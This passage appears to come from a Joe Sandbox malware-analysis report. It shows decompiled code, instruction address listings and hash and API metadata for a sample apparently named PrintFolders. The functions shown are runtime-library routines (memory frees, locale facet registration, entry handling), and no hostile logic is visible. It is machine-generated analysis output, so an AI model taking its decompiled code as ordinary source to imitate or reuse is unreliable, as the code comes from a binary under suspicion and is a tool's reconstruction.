                                                          																						 *(_t433 + 0xa0 + _t370 * 4) = _v748;
                                                          																						E0041E2B8(_v732);
                                                          																						 *(_t433 + 8) = _v752;
                                                          																						goto L122;
                                                          																					}
                                                          																					goto L123;
                                                          																				}
                                                          																			}
                                                          																		} else {
                                                          																			_t288 = _t424;
                                                          																			L123:
                                                          																			_pop(_t434);
                                                          																			_pop(_t450);
                                                          																			__eflags = _v16 ^ _t462;
                                                          																			_pop(_t371);
                                                          																			return E0040EBBF(_t288, _t371, _v16 ^ _t462, _t424, _t434, _t450);
                                                          																		}
                                                          																		goto L134;
                                                          																	}
                                                          																	asm("sbb eax, eax");
                                                          																	_t291 = _t290 | 0x00000001;
                                                          																	__eflags = _t291;
                                                          																	goto L91;
                                                          																}
                                                          															} else {
                                                          																_t335 = _t448 + _t448;
                                                          																__eflags = _t335 - 0x106;
                                                          																if(_t335 >= 0x106) {
                                                          																	E0040ECF4();
                                                          																	goto L82;
                                                          																} else {
                                                          																	 *((short*)(_t461 + _t335 - 0x10c)) = 0;
                                                          																	_t337 =  &_v276;
                                                          																	_push(_t337);
                                                          																	_push(_v456);
                                                          																	_push(_t429);
                                                          																	L83();
                                                          																	_t387 = _v452;
                                                          																	_t467 = _t469 + 0xc;
                                                          																	__eflags = _t337;
                                                          																	if(_t337 != 0) {
                                                          																		_t387 = _t387 + 1;
                                                          																		_v452 = _t387;
                                                          																	}
                                                          																	L54:
                                                          																	_t445 = _t365 + _t448 * 2;
                                                          																	_t275 =  *_t445 & 0x0000ffff;
                                                          																	_t424 = _t275;
                                                          																	__eflags = _t275;
                                                          																	if(_t275 != 0) {
                                                          																		_t445 = _t445 + 2;
                                                          																		__eflags = _t445;
                                                          																		_t424 =  *_t445 & 0x0000ffff;
                                                          																	}
                                                          																	__eflags = _t424;
                                                          																	if(_t424 != 0) {
                                                          																		continue;
                                                          																	} else {
                                                          																		__eflags = _t387;
                                                          																		if(__eflags != 0) {
                                                          																			goto L79;
                                                          																		} else {
                                                          																			break;
                                                          																		}
                                                          																		goto L80;
                                                          																	}
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t338 = 0x3b;
                                                          														__eflags =  *_t365 - _t338;
                                                          														if( *_t365 != _t338) {
                                                          															break;
                                                          														} else {
                                                          															goto L48;
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          											goto L134;
                                                          										}
                                                          										_t259 = 0;
                                                          										goto L80;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						__eflags = _t445;
                                                          						if(_t445 == 0) {
                                                          							_t259 =  *(_t429 + (_t259 + 2 + _t259 + 2) * 8);
                                                          						} else {
                                                          							_push(_t445);
                                                          							_push(_t259);
                                                          							_push(_t429);
                                                          							L83();
                                                          						}
                                                          						L80:
                                                          						_pop(_t430);
                                                          						_pop(_t446);
                                                          						__eflags = _v12 ^ _t461;
                                                          						_pop(_t366);
                                                          						return E0040EBBF(_t259, _t366, _v12 ^ _t461, _t424, _t430, _t446);
                                                          					}
                                                          				}
                                                          				L134:
                                                          			}

















































































































































                                                          0x0041ba71
                                                          0x0041ba79
                                                          0x0041ba7a
                                                          0x0041ba83
                                                          0x0041ba8b
                                                          0x0041ba8d
                                                          0x0041ba8f
                                                          0x0041ba92
                                                          0x0041bbaf
                                                          0x0041bbb2
                                                          0x0041ba98
                                                          0x0041ba98
                                                          0x0041ba99
                                                          0x0041ba9b
                                                          0x0041ba9e
                                                          0x0041baa1
                                                          0x0041baa4
                                                          0x0041baa7
                                                          0x0041baa9
                                                          0x0041baac
                                                          0x0041bab1
                                                          0x0041babf
                                                          0x0041bac9
                                                          0x0041bacc
                                                          0x0041bacf
                                                          0x0041bacf
                                                          0x0041bada
                                                          0x0041badf
                                                          0x0041bae4
                                                          0x00000000
                                                          0x0041baea
                                                          0x0041baed
                                                          0x0041baed
                                                          0x0041baf0
                                                          0x0041baf2
                                                          0x0041baf5
                                                          0x0041baf7
                                                          0x0041baf7
                                                          0x0041baf7
                                                          0x0041bafa
                                                          0x0041bafa
                                                          0x0041bafa
                                                          0x0041bb00
                                                          0x00000000
                                                          0x00000000
                                                          0x0041bb05
                                                          0x0041bb1c
                                                          0x0041bb1c
                                                          0x0041bb07
                                                          0x0041bb07
                                                          0x0041bb0f
                                                          0x00000000
                                                          0x0041bb11
                                                          0x0041bb11
                                                          0x0041bb14
                                                          0x0041bb1a
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041bb1a
                                                          0x0041bb0f
                                                          0x0041bb25
                                                          0x0041bb25
                                                          0x0041bb2a
                                                          0x0041bb2f
                                                          0x0041bb33
                                                          0x0041bb3f
                                                          0x0041bb42
                                                          0x0041bb45
                                                          0x0041bb4f
                                                          0x0041bb57
                                                          0x0041bb5f
                                                          0x00000000
                                                          0x0041bb65
                                                          0x0041bb69
                                                          0x0041bbb4
                                                          0x0041bbbd
                                                          0x0041bbc0
                                                          0x0041bbc2
                                                          0x0041bbc6
                                                          0x0041bbca
                                                          0x0041bbcf
                                                          0x0041bbd4
                                                          0x0041bbca
                                                          0x0041bbd8
                                                          0x0041bbda
                                                          0x0041bbdc
                                                          0x0041bbe0
                                                          0x0041bbe1
                                                          0x0041bbe6
                                                          0x0041bbeb
                                                          0x0041bbe1
                                                          0x0041bbee
                                                          0x0041bbf1
                                                          0x0041bbf4
                                                          0x0041bbf7
                                                          0x0041bbfa
                                                          0x0041bb6b
                                                          0x0041bb6e
                                                          0x0041bb71
                                                          0x0041bb73
                                                          0x0041bb77
                                                          0x0041bb7b
                                                          0x0041bb80
                                                          0x0041bb85
                                                          0x0041bb7b
                                                          0x0041bb8b
                                                          0x0041bb8d
                                                          0x0041bb92
                                                          0x0041bb97
                                                          0x0041bb9c
                                                          0x0041bb92
                                                          0x0041bb9d
                                                          0x0041bba1
                                                          0x0041bba4
                                                          0x0041bba8
                                                          0x0041bbab
                                                          0x0041bbab
                                                          0x00000000
                                                          0x0041bbae
                                                          0x00000000
                                                          0x0041bb5f
                                                          0x0041bb20
                                                          0x0041bb22
                                                          0x0041bb22
                                                          0x00000000
                                                          0x0041bb22
                                                          0x0041bc01
                                                          0x0041bc02
                                                          0x0041bc03
                                                          0x0041bc04
                                                          0x0041bc05
                                                          0x0041bc06
                                                          0x0041bc0b
                                                          0x0041bc0f
                                                          0x0041bc11
                                                          0x0041bc17
                                                          0x0041bc1e
                                                          0x0041bc21
                                                          0x0041bc24
                                                          0x0041bc25
                                                          0x0041bc26
                                                          0x0041bc29
                                                          0x0041bc2a
                                                          0x0041bc2d
                                                          0x0041bc33
                                                          0x0041bc35
                                                          0x0041bc5a
                                                          0x0041bc64
                                                          0x0041bc6a
                                                          0x0041bc6c
                                                          0x0041bc72
                                                          0x0041bc74
                                                          0x0041bed4
                                                          0x0041bed5
                                                          0x00000000
                                                          0x0041bc7a
                                                          0x0041bc7a
                                                          0x0041bc7e
                                                          0x0041bdec
                                                          0x0041be09
                                                          0x0041be0e
                                                          0x0041be11
                                                          0x0041be13
                                                          0x0041be19
                                                          0x0041be19
                                                          0x0041be1b
                                                          0x0041be1e
                                                          0x0041be20
                                                          0x0041be26
                                                          0x0041be26
                                                          0x0041be28
                                                          0x0041beaf
                                                          0x0041beaf
                                                          0x0041be2e
                                                          0x0041be2e
                                                          0x0041be30
                                                          0x0041be36
                                                          0x0041be39
                                                          0x0041be3c
                                                          0x0041be42
                                                          0x00000000
                                                          0x00000000
                                                          0x0041be44
                                                          0x0041be48
                                                          0x0041be71
                                                          0x0041be71
                                                          0x0041be73
                                                          0x0041be4a
                                                          0x0041be4a
                                                          0x0041be4e
                                                          0x0041be52
                                                          0x0041be59
                                                          0x0041be5f
                                                          0x00000000
                                                          0x0041be61
                                                          0x0041be61
                                                          0x0041be64
                                                          0x0041be67
                                                          0x0041be6f
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041be6f
                                                          0x0041be5f
                                                          0x0041be7e
                                                          0x0041be7e
                                                          0x0041be80
                                                          0x0041beae
                                                          0x0041beae
                                                          0x00000000
                                                          0x0041be82
                                                          0x0041be82
                                                          0x0041be88
                                                          0x0041be89
                                                          0x0041be8a
                                                          0x0041be8b
                                                          0x0041be90
                                                          0x0041be96
                                                          0x0041be99
                                                          0x0041be9b
                                                          0x0041bea2
                                                          0x0041bea4
                                                          0x0041bea6
                                                          0x0041be9d
                                                          0x0041be9d
                                                          0x0041be9e
                                                          0x00000000
                                                          0x0041be9e
                                                          0x0041be9b
                                                          0x00000000
                                                          0x0041be80
                                                          0x0041be77
                                                          0x0041be79
                                                          0x0041be7c
                                                          0x0041be7c
                                                          0x00000000
                                                          0x0041be7c
                                                          0x0041beb5
                                                          0x0041beb5
                                                          0x0041beb6
                                                          0x0041beb9
                                                          0x0041bebf
                                                          0x0041bebf
                                                          0x0041bec8
                                                          0x0041beca
                                                          0x00000000
                                                          0x0041becc
                                                          0x0041becc
                                                          0x0041bece
                                                          0x00000000
                                                          0x0041bed0
                                                          0x0041bed0
                                                          0x0041bed0
                                                          0x0041bece
                                                          0x0041beca
                                                          0x00000000
                                                          0x0041bc84
                                                          0x0041bc84
                                                          0x0041bc89
                                                          0x00000000
                                                          0x0041bc8f
                                                          0x0041bc8f
                                                          0x0041bc94
                                                          0x00000000
                                                          0x0041bc9a
                                                          0x0041bc9a
                                                          0x0041bca0
                                                          0x0041bca5
                                                          0x0041bca7
                                                          0x0041bcae
                                                          0x0041bcaf
                                                          0x0041bcb1
                                                          0x00000000
                                                          0x00000000
                                                          0x0041bcb7
                                                          0x0041bcb7
                                                          0x0041bcbb
                                                          0x0041bcc1
                                                          0x00000000
                                                          0x0041bcc7
                                                          0x0041bcc9
                                                          0x0041bcca
                                                          0x0041bccd
                                                          0x00000000
                                                          0x0041bcd3
                                                          0x0041bcd3
                                                          0x0041bcd9
                                                          0x0041bcde
                                                          0x0041bce8
                                                          0x0041bcec
                                                          0x0041bcf1
                                                          0x0041bcf4
                                                          0x0041bcf6
                                                          0x00000000
                                                          0x0041bcf8
                                                          0x0041bcf8
                                                          0x0041bcfa
                                                          0x0041bcfd
                                                          0x0041bcfd
                                                          0x0041bd00
                                                          0x0041bd03
                                                          0x0041bd03
                                                          0x0041bd0e
                                                          0x0041bd10
                                                          0x0041bd12
                                                          0x00000000
                                                          0x00000000
                                                          0x0041bd12
                                                          0x00000000
                                                          0x0041bd14
                                                          0x0041bd14
                                                          0x0041bd1a
                                                          0x0041bd1d
                                                          0x0041bd1d
                                                          0x0041bd2b
                                                          0x0041bd34
                                                          0x0041bd39
                                                          0x0041bd3f
                                                          0x0041bd42
                                                          0x0041bd43
                                                          0x0041bd45
                                                          0x0041bd53
                                                          0x0041bd53
                                                          0x0041bd5a
                                                          0x0041bdbb
                                                          0x00000000
                                                          0x0041bd5c
                                                          0x0041bd5c
                                                          0x0041bd6a
                                                          0x0041bd6f
                                                          0x0041bd72
                                                          0x0041bd74
                                                          0x0041beef
                                                          0x0041bef1
                                                          0x0041bef2
                                                          0x0041bef3
                                                          0x0041bef4
                                                          0x0041bef5
                                                          0x0041bef6
                                                          0x0041befb
                                                          0x0041befe
                                                          0x0041beff
                                                          0x0041bf07
                                                          0x0041bf0e
                                                          0x0041bf11
                                                          0x0041bf12
                                                          0x0041bf15
                                                          0x0041bf19
                                                          0x0041bf1a
                                                          0x0041bf1d
                                                          0x0041bf2d
                                                          0x0041bf50
                                                          0x0041bf55
                                                          0x0041bf58
                                                          0x0041bf5a
                                                          0x0041c210
                                                          0x0041c210
                                                          0x0041c210
                                                          0x00000000
                                                          0x0041bf60
                                                          0x0041bf60
                                                          0x0041bf63
                                                          0x0041bf63
                                                          0x0041bf66
                                                          0x0041bf6c
                                                          0x0041bf72
                                                          0x0041bf75
                                                          0x0041bf77
                                                          0x0041bf7a
                                                          0x0041bf81
                                                          0x0041bf84
                                                          0x0041bf8a
                                                          0x00000000
                                                          0x00000000
                                                          0x0041bf8c
                                                          0x0041bf90
                                                          0x0041bfb9
                                                          0x0041bfb9
                                                          0x0041bf92
                                                          0x0041bf92
                                                          0x0041bf96
                                                          0x0041bf9a
                                                          0x0041bfa1
                                                          0x0041bfa7
                                                          0x00000000
                                                          0x0041bfa9
                                                          0x0041bfa9
                                                          0x0041bfac
                                                          0x0041bfaf
                                                          0x0041bfb7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041bfb7
                                                          0x0041bfa7
                                                          0x0041bfc6
                                                          0x0041bfc6
                                                          0x0041bfc8
                                                          0x0041bfd1
                                                          0x0041bfd7
                                                          0x0041bfda
                                                          0x0041bfda
                                                          0x0041bfdd
                                                          0x0041bfe0
                                                          0x0041bfe0
                                                          0x0041bff0
                                                          0x0041bffe
                                                          0x0041c003
                                                          0x0041c00a
                                                          0x0041c00c
                                                          0x00000000
                                                          0x0041c012
                                                          0x0041c018
                                                          0x0041c025
                                                          0x0041c02e
                                                          0x0041c034
                                                          0x0041c041
                                                          0x0041c048
                                                          0x0041c04d
                                                          0x0041c050
                                                          0x0041c052
                                                          0x0041c290
                                                          0x0041c296
                                                          0x0041c297
                                                          0x0041c298
                                                          0x0041c299
                                                          0x0041c29a
                                                          0x0041c29b
                                                          0x0041c2a0
                                                          0x0041c2a3
                                                          0x0041c2a6
                                                          0x0041c2a7
                                                          0x0041c2b9
                                                          0x0041c2be
                                                          0x0041c2c0
                                                          0x0041c2c9
                                                          0x00000000
                                                          0x0041c2c9
                                                          0x0041c2c2
                                                          0x0041c2c5
                                                          0x0041c2c7
                                                          0x00000000
                                                          0x00000000
                                                          0x0041c2cf
                                                          0x0041c058
                                                          0x0041c058
                                                          0x0041c066
                                                          0x0041c069
                                                          0x0041c07f
                                                          0x0041c086
                                                          0x0041c08b
                                                          0x0041c06b
                                                          0x0041c06b
                                                          0x0041c073
                                                          0x00000000
                                                          0x0041c075
                                                          0x0041c075
                                                          0x0041c07b
                                                          0x0041c07b
                                                          0x0041c073
                                                          0x0041c092
                                                          0x0041c099
                                                          0x0041c09c
                                                          0x0041c19a
                                                          0x0041c19d
                                                          0x0041c1aa
                                                          0x0041c1ad
                                                          0x0041c1b5
                                                          0x0041c1b5
                                                          0x0041c19f
                                                          0x0041c1a5
                                                          0x0041c1a5
                                                          0x0041c0a2
                                                          0x0041c0a2
                                                          0x0041c0ae
                                                          0x0041c0b4
                                                          0x0041c0ba
                                                          0x0041c0bd
                                                          0x0041c0c3
                                                          0x0041c0c6
                                                          0x0041c0c9
                                                          0x00000000
                                                          0x00000000
                                                          0x0041c0cb
                                                          0x0041c0d4
                                                          0x0041c0d8
                                                          0x0041c0e1
                                                          0x0041c0e5
                                                          0x0041c0e6
                                                          0x0041c0ec
                                                          0x0041c0f2
                                                          0x0041c0f8
                                                          0x0041c0fb
                                                          0x00000000
                                                          0x00000000
                                                          0x0041c0fd
                                                          0x0041c11c
                                                          0x0041c11c
                                                          0x0041c11f
                                                          0x0041c13c
                                                          0x0041c141
                                                          0x0041c144
                                                          0x0041c146
                                                          0x0041c184
                                                          0x0041c148
                                                          0x0041c148
                                                          0x0041c14e
                                                          0x0041c153
                                                          0x0041c15b
                                                          0x0041c15c
                                                          0x0041c15c
                                                          0x0041c173
                                                          0x0041c17a
                                                          0x0041c17d
                                                          0x0041c17f
                                                          0x0041c17f
                                                          0x0041c18a
                                                          0x0041c190
                                                          0x0041c190
                                                          0x0041c195
                                                          0x00000000
                                                          0x0041c195
                                                          0x0041c0ff
                                                          0x0041c101
                                                          0x0041c106
                                                          0x0041c10c
                                                          0x0041c115
                                                          0x0041c118
                                                          0x0041c118
                                                          0x00000000
                                                          0x0041c101
                                                          0x0041c1b8
                                                          0x0041c1b8
                                                          0x0041c1bc
                                                          0x0041c1c4
                                                          0x0041c1ca
                                                          0x0041c1cd
                                                          0x0041c1d3
                                                          0x0041c1d5
                                                          0x0041c221
                                                          0x0041c227
                                                          0x0041c273
                                                          0x0041c273
                                                          0x0041c229
                                                          0x0041c22e
                                                          0x0041c22e
                                                          0x0041c234
                                                          0x0041c238
                                                          0x00000000
                                                          0x0041c23a
                                                          0x0041c23e
                                                          0x0041c247
                                                          0x0041c253
                                                          0x0041c258
                                                          0x0041c261
                                                          0x0041c267
                                                          0x0041c26a
                                                          0x0041c26a
                                                          0x0041c238
                                                          0x0041c279
                                                          0x0041c281
                                                          0x0041c287
                                                          0x0041c28a
                                                          0x0041c1d7
                                                          0x0041c1dd
                                                          0x0041c1e7
                                                          0x0041c1f9
                                                          0x0041c200
                                                          0x0041c20d
                                                          0x00000000
                                                          0x0041c20d
                                                          0x00000000
                                                          0x0041c1d5
                                                          0x0041c052
                                                          0x0041bfca
                                                          0x0041bfca
                                                          0x0041c212
                                                          0x0041c215
                                                          0x0041c216
                                                          0x0041c217
                                                          0x0041c219
                                                          0x0041c220
                                                          0x0041c220
                                                          0x00000000
                                                          0x0041bfc8
                                                          0x0041bfc1
                                                          0x0041bfc3
                                                          0x0041bfc3
                                                          0x00000000
                                                          0x0041bfc3
                                                          0x0041bd7a
                                                          0x0041bd7a
                                                          0x0041bd7d
                                                          0x0041bd82
                                                          0x0041beea
                                                          0x00000000
                                                          0x0041bd88
                                                          0x0041bd8a
                                                          0x0041bd92
                                                          0x0041bd98
                                                          0x0041bd99
                                                          0x0041bd9f
                                                          0x0041bda0
                                                          0x0041bda5
                                                          0x0041bdab
                                                          0x0041bdae
                                                          0x0041bdb0
                                                          0x0041bdb2
                                                          0x0041bdb3
                                                          0x0041bdb3
                                                          0x0041bdc1
                                                          0x0041bdc1
                                                          0x0041bdc4
                                                          0x0041bdc7
                                                          0x0041bdc9
                                                          0x0041bdcc
                                                          0x0041bdce
                                                          0x0041bdce
                                                          0x0041bdd1
                                                          0x0041bdd1
                                                          0x0041bdd4
                                                          0x0041bdd7
                                                          0x00000000
                                                          0x0041bddd
                                                          0x0041bddd
                                                          0x0041bddf
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041bddf
                                                          0x0041bdd7
                                                          0x0041bd82
                                                          0x0041bd74
                                                          0x0041bd47
                                                          0x0041bd49
                                                          0x0041bd4a
                                                          0x0041bd4d
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041bd4d
                                                          0x0041bd45
                                                          0x0041bccd
                                                          0x00000000
                                                          0x0041bcc1
                                                          0x0041bde5
                                                          0x00000000
                                                          0x0041bde5
                                                          0x0041bc94
                                                          0x0041bc89
                                                          0x0041bc7e
                                                          0x0041bc37
                                                          0x0041bc37
                                                          0x0041bc39
                                                          0x0041bc50
                                                          0x0041bc3b
                                                          0x0041bc3b
                                                          0x0041bc3c
                                                          0x0041bc3d
                                                          0x0041bc3e
                                                          0x0041bc43
                                                          0x0041bedb
                                                          0x0041bede
                                                          0x0041bedf
                                                          0x0041bee0
                                                          0x0041bee2
                                                          0x0041bee9
                                                          0x0041bee9
                                                          0x0041bc35
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 0041ED2F: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040FF9B,?,?,?,?,?,00403757,?,?,?), ref: 0041ED61
                                                          • _free.LIBCMT ref: 0041BB80
                                                          • _free.LIBCMT ref: 0041BB97
                                                          • _free.LIBCMT ref: 0041BBB4
                                                          • _free.LIBCMT ref: 0041BBCF
                                                          • _free.LIBCMT ref: 0041BBE6
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$AllocateHeap
                                                          • String ID:
                                                          • API String ID: 3033488037-0
                                                          • Opcode ID: 2ac9717b4801cc9c3e4fb2398baf62dd1adc69d55e91d29d558fb5eaeb849720
                                                          • Instruction ID: dd5676bbc38bf4ddee88e11de66148e0d133859b732eb0a2b9d7e3b8ef29f219
                                                          • Opcode Fuzzy Hash: 2ac9717b4801cc9c3e4fb2398baf62dd1adc69d55e91d29d558fb5eaeb849720
                                                          • Instruction Fuzzy Hash: 7051B571A00704AFDB119F2ACC41BAAB7F5EF48724F14056EE809D7794E739E981CB88
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 82%
                                                          			E0040CAF0(intOrPtr __edx, intOrPtr* _a4) {
                                                          				char _v8;
                                                          				char _v16;
                                                          				signed int _v20;
                                                          				void* _v24;
                                                          				intOrPtr* _v28;
                                                          				char _v32;
                                                          				char _v84;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				signed int _t35;
                                                          				signed int _t36;
                                                          				intOrPtr _t43;
                                                          				void* _t48;
                                                          				signed int _t53;
                                                          				signed int _t54;
                                                          				intOrPtr _t56;
                                                          				void* _t57;
                                                          				intOrPtr _t59;
                                                          				intOrPtr _t66;
                                                          				signed int _t74;
                                                          				void* _t75;
                                                          				intOrPtr* _t77;
                                                          				intOrPtr* _t78;
                                                          				void* _t79;
                                                          				signed int _t80;
                                                          				void* _t86;
                                                          
                                                          				_t72 = __edx;
                                                          				_push(0xffffffff);
                                                          				_push(0x42cca4);
                                                          				_push( *[fs:0x0]);
                                                          				_t35 =  *0x43d054; // 0x6e36c9b5
                                                          				_t36 = _t35 ^ _t80;
                                                          				_v20 = _t36;
                                                          				_push(_t36);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_t77 = _a4;
                                                          				_v28 = _t77;
                                                          				E0040E0A3( &_v32, 0);
                                                          				_v8 = 0;
                                                          				_t74 =  *0x450eb8; // 0x0
                                                          				_t56 =  *0x450d0c; // 0x0
                                                          				if(_t74 == 0) {
                                                          					E0040E0A3( &_v24, _t74);
                                                          					_t86 =  *0x450eb8 - _t74; // 0x0
                                                          					if(_t86 == 0) {
                                                          						_t53 =  *0x450098; // 0x1
                                                          						_t54 = _t53 + 1;
                                                          						 *0x450098 = _t54;
                                                          						 *0x450eb8 = _t54;
                                                          					}
                                                          					E0040E0FB( &_v24);
                                                          					_t74 =  *0x450eb8; // 0x0
                                                          				}
                                                          				_t59 =  *((intOrPtr*)(_t77 + 4));
                                                          				if(_t74 >=  *((intOrPtr*)(_t59 + 0xc))) {
                                                          					_t78 = 0;
                                                          					__eflags = 0;
                                                          					L8:
                                                          					if( *((char*)(_t59 + 0x14)) == 0) {
                                                          						L11:
                                                          						if(_t78 != 0) {
                                                          							L19:
                                                          							E0040E0FB( &_v32);
                                                          							 *[fs:0x0] = _v16;
                                                          							_pop(_t75);
                                                          							_pop(_t79);
                                                          							_pop(_t57);
                                                          							return E0040EBBF(_t78, _t57, _v20 ^ _t80, _t72, _t75, _t79);
                                                          						}
                                                          						L12:
                                                          						if(_t56 == 0) {
                                                          							_t78 = E0040EDCF(_t74, _t78, __eflags, 8);
                                                          							_v24 = _t78;
                                                          							_v8 = 1;
                                                          							_t66 =  *((intOrPtr*)(_v28 + 4));
                                                          							__eflags = _t66;
                                                          							if(_t66 == 0) {
                                                          								_t43 = 0x4399f7;
                                                          							} else {
                                                          								_t43 =  *((intOrPtr*)(_t66 + 0x18));
                                                          								__eflags = _t43;
                                                          								if(_t43 == 0) {
                                                          									_t24 = _t66 + 0x1c; // 0x1c
                                                          									_t43 = _t24;
                                                          								}
                                                          							}
                                                          							E00403F10(_t43);
                                                          							 *((intOrPtr*)(_t78 + 4)) = 0;
                                                          							 *_t78 = 0x42ef14;
                                                          							E00403FC0( &_v84);
                                                          							_v28 = _t78;
                                                          							_v8 = 2;
                                                          							E0040E254(__eflags, _t78);
                                                          							_t72 =  *_t78;
                                                          							 *((intOrPtr*)( *_t78 + 4))();
                                                          							 *0x450d0c = _t78;
                                                          						} else {
                                                          							_t78 = _t56;
                                                          						}
                                                          						goto L19;
                                                          					}
                                                          					_t48 = E0040E280();
                                                          					if(_t74 >=  *((intOrPtr*)(_t48 + 0xc))) {
                                                          						goto L12;
                                                          					}
                                                          					_t78 =  *((intOrPtr*)( *((intOrPtr*)(_t48 + 8)) + _t74 * 4));
                                                          					goto L11;
                                                          				}
                                                          				_t78 =  *((intOrPtr*)( *((intOrPtr*)(_t59 + 8)) + _t74 * 4));
                                                          				if(_t78 != 0) {
                                                          					goto L19;
                                                          				}
                                                          				goto L8;
                                                          			}






























                                                          0x0040caf0
                                                          0x0040caf3
                                                          0x0040caf5
                                                          0x0040cb00
                                                          0x0040cb04
                                                          0x0040cb09
                                                          0x0040cb0b
                                                          0x0040cb11
                                                          0x0040cb15
                                                          0x0040cb1b
                                                          0x0040cb23
                                                          0x0040cb26
                                                          0x0040cb2b
                                                          0x0040cb32
                                                          0x0040cb38
                                                          0x0040cb40
                                                          0x0040cb46
                                                          0x0040cb4b
                                                          0x0040cb51
                                                          0x0040cb53
                                                          0x0040cb58
                                                          0x0040cb59
                                                          0x0040cb5e
                                                          0x0040cb5e
                                                          0x0040cb66
                                                          0x0040cb6b
                                                          0x0040cb6b
                                                          0x0040cb71
                                                          0x0040cb77
                                                          0x0040cb89
                                                          0x0040cb89
                                                          0x0040cb8b
                                                          0x0040cb8f
                                                          0x0040cba1
                                                          0x0040cba3
                                                          0x0040cc16
                                                          0x0040cc19
                                                          0x0040cc23
                                                          0x0040cc2b
                                                          0x0040cc2c
                                                          0x0040cc2d
                                                          0x0040cc3b
                                                          0x0040cc3b
                                                          0x0040cba5
                                                          0x0040cba7
                                                          0x0040cbb4
                                                          0x0040cbb9
                                                          0x0040cbbc
                                                          0x0040cbc3
                                                          0x0040cbc6
                                                          0x0040cbc8
                                                          0x0040cbd6
                                                          0x0040cbca
                                                          0x0040cbca
                                                          0x0040cbcd
                                                          0x0040cbcf
                                                          0x0040cbd1
                                                          0x0040cbd1
                                                          0x0040cbd1
                                                          0x0040cbcf
                                                          0x0040cbdf
                                                          0x0040cbe7
                                                          0x0040cbee
                                                          0x0040cbf4
                                                          0x0040cbf9
                                                          0x0040cbfd
                                                          0x0040cc01
                                                          0x0040cc06
                                                          0x0040cc0d
                                                          0x0040cc10
                                                          0x0040cba9
                                                          0x0040cba9
                                                          0x0040cba9
                                                          0x00000000
                                                          0x0040cba7
                                                          0x0040cb91
                                                          0x0040cb99
                                                          0x00000000
                                                          0x00000000
                                                          0x0040cb9e
                                                          0x00000000
                                                          0x0040cb9e
                                                          0x0040cb7c
                                                          0x0040cb81
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000

                                                          APIs
                                                          • std::_Lockit::_Lockit.LIBCPMT ref: 0040CB26
                                                          • std::_Lockit::_Lockit.LIBCPMT ref: 0040CB46
                                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 0040CB66
                                                          • std::_Facet_Register.LIBCPMT ref: 0040CC01
                                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 0040CC19
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
                                                          • String ID:
                                                          • API String ID: 459529453-0
                                                          • Opcode ID: 87b63e902258446f7da7e1067b62c0637823b51c00972e01863bc4e59d6f7a1c
                                                          • Instruction ID: 4299aa7d4a227c1bcf07fbc90c3f6f33ea46ae6c1256ae29d36ea46de7090174
                                                          • Opcode Fuzzy Hash: 87b63e902258446f7da7e1067b62c0637823b51c00972e01863bc4e59d6f7a1c
                                                          • Instruction Fuzzy Hash: F641BE71A00215CBCB10DF56E982B6EB7B4EF40714F24457EE8067B382DB79AD45CB89
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 82%
                                                          			E10003486(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				signed int _t24;
                                                          				signed int _t26;
                                                          				signed int _t29;
                                                          				signed int _t35;
                                                          				void* _t37;
                                                          				void* _t40;
                                                          				signed int _t42;
                                                          				signed int _t45;
                                                          				void* _t47;
                                                          				void* _t52;
                                                          
                                                          				_t40 = __edx;
                                                          				_push(0xc);
                                                          				_push(0x10015758);
                                                          				E10003C50(__ebx, __edi, __esi);
                                                          				_t42 =  *(_t47 + 0xc);
                                                          				if(_t42 != 0) {
                                                          					L3:
                                                          					 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
                                                          					__eflags = _t42 - 1;
                                                          					if(_t42 == 1) {
                                                          						L6:
                                                          						_t35 =  *(_t47 + 0x10);
                                                          						_t45 = E10003591( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
                                                          						 *(_t47 - 0x1c) = _t45;
                                                          						__eflags = _t45;
                                                          						if(_t45 == 0) {
                                                          							L16:
                                                          							 *(_t47 - 4) = 0xfffffffe;
                                                          							_t24 = _t45;
                                                          							L17:
                                                          							 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0x10));
                                                          							return _t24;
                                                          						}
                                                          						_t45 = E1000327C(_t35, _t37, _t40, _t42, _t45,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
                                                          						 *(_t47 - 0x1c) = _t45;
                                                          						__eflags = _t45;
                                                          						if(_t45 == 0) {
                                                          							goto L16;
                                                          						}
                                                          						L8:
                                                          						_push(_t35);
